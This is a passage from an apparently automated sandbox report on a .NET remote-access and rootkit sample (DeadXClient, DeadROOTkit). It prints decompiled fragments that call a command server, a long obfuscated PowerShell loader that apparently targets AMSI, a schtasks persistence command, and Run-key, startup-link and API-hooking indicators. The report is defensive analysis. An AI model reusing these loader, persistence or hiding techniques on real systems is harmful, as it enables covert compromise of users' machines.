Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct3D66.tmp.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wmsetup.log.pdb source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: DeadXClient.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: DeadXClient.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: DeadROOTkit.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: DeadROOTkit.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: DeadROOTkit.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: Deadsvchost.exe.1.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Deadsvchost.exe.1.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: DeadROOTkit.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: DeadROOTkit.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: DeadROOTkit.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: DeadXClient.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: DeadXClient.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: DeadXClient.exe.0.dr, Messages.cs	.Net Code: Memory
Source: DeadROOTkit.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: DeadROOTkit.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: DeadROOTkit.exe.0.dr, Messages.cs	.Net Code: Memory
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Messages.cs	.Net Code: Memory
Source: Deadsvchost.exe.1.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: Deadsvchost.exe.1.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: Deadsvchost.exe.1.dr, Messages.cs	.Net Code: Memory
Source: DeadROOTkit.exe.2.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: DeadROOTkit.exe.2.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: DeadROOTkit.exe.2.dr, Messages.cs	.Net Code: Memory

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($LadMSRasXMAaNc,$SsrFUvzfWALaJuFfDwp).Invoke(''+'a'+''+[Char](109)+''+'s'+'i.'+[Char](100)+'ll');$BNdTdCEoXMsXuDwEG=$zjaDRBJuPBhArz.Invoke($Null,@([Object]$HSvqCok,[Objec
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](68)+'e'+'a'+''+'d'+''+[Char](115)+''+'t'+'a'+[Cha

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bubCglTffNzZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QBDRAqnALMmwja,[Parameter(Position=1)][Type]$duQqlSyxSK)$pNdjVVbnfJT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$pNdjVVbnfJT.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QBDRAqnALMmwja).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pNdjVVbnfJT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+'l'+'',$duQqlSyxSK,$QBDRAqnALMmwja).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $pNdjVVbnfJT.CreateType();}$RJkdRlkUxkpOh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f

Suspicious powershell command line found

Source: unknown

Source: C:\Users\Public\DeadXClient.exe	Code function: 1_2_00007FFD9B7F00AD pushad ; iretd	1_2_00007FFD9B7F00C1
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B80885D pushad ; ret	2_2_00007FFD9B8088EB
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B8088A8 pushad ; ret	2_2_00007FFD9B8088EB
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B8000AD pushad ; iretd	2_2_00007FFD9B8000C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7EDBB5 pushad ; iretd	4_2_00007FFD9B7EDC59
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7E63FB push ebx; retf 000Ah	4_2_00007FFD9B7E641A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7EDC35 pushad ; iretd	4_2_00007FFD9B7EDC59
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7EDC40 pushad ; iretd	4_2_00007FFD9B7EDC59
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7E00AD pushad ; iretd	4_2_00007FFD9B7E00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9BA651EB push ecx; iretd	4_2_00007FFD9BA651EC
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_000002E86A0786ED push rcx; retf 003Fh	6_3_000002E86A0786EE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9B6BD2A5 pushad ; iretd	7_2_00007FFD9B6BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9B7D00AD pushad ; iretd	7_2_00007FFD9B7D00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9B8A2316 push 8B485F94h; iretd	7_2_00007FFD9B8A231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9B8A26C9 pushad ; retf	7_2_00007FFD9B8A26E9
Source: C:\Windows\System32\winlogon.exe	Code function: 11_3_00000225DC6286ED push rcx; retf 003Fh	11_3_00000225DC6286EE
Source: C:\Windows\System32\lsass.exe	Code function: 12_3_00000202C0AC86ED push rcx; retf 003Fh	12_3_00000202C0AC86EE
Source: C:\Users\Public\Deadsvchost.exe	Code function: 13_2_00007FFD9B8000AD pushad ; iretd	13_2_00007FFD9B8000C1
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_000002A6612E86ED push rcx; retf 003Fh	14_3_000002A6612E86EE
Source: C:\Windows\System32\dwm.exe	Code function: 16_3_000002BAAF1F86ED push rcx; retf 003Fh	16_3_000002BAAF1F86EE
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000026A879A86ED push rcx; retf 003Fh	17_3_0000026A879A86EE
Source: C:\Windows\System32\svchost.exe	Code function: 19_3_00000179537886ED push rcx; retf 003Fh	19_3_00000179537886EE
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_000002295D5486ED push rcx; retf 003Fh	20_3_000002295D5486EE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadROOTkit.exe	Jump to dropped file
Source: C:\Users\Public\DeadROOTkit.exe	File created: C:\Users\user\AppData\Local\DeadROOTkit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadXClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadCodeRootKit.exe	Jump to dropped file
Source: C:\Users\Public\DeadXClient.exe	File created: C:\Users\Public\Deadsvchost.exe	Jump to dropped file

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadROOTkit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadXClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadCodeRootKit.exe	Jump to dropped file
Source: C:\Users\Public\DeadXClient.exe	File created: C:\Users\Public\Deadsvchost.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\Public\DeadXClient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Deadsvchost			Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DeadROOTkit			Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadROOTkit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadXClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	File created: C:\Users\Public\DeadCodeRootKit.exe	Jump to dropped file
Source: C:\Users\Public\DeadXClient.exe	File created: C:\Users\Public\Deadsvchost.exe	Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\Public\DeadXClient.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe"

Source: C:\Users\Public\DeadXClient.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Deadsvchost.lnk

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\System32\Tasks\DeadROOTkit

Source: C:\Users\Public\DeadXClient.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Deadsvchost.lnk			Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeadROOTkit.lnk			Jump to behavior

Source: C:\Users\Public\DeadXClient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Deadsvchost	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Deadsvchost	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DeadROOTkit	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DeadROOTkit	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\Public\DeadCodeRootKit.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE Deadstager

Jump to behavior

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
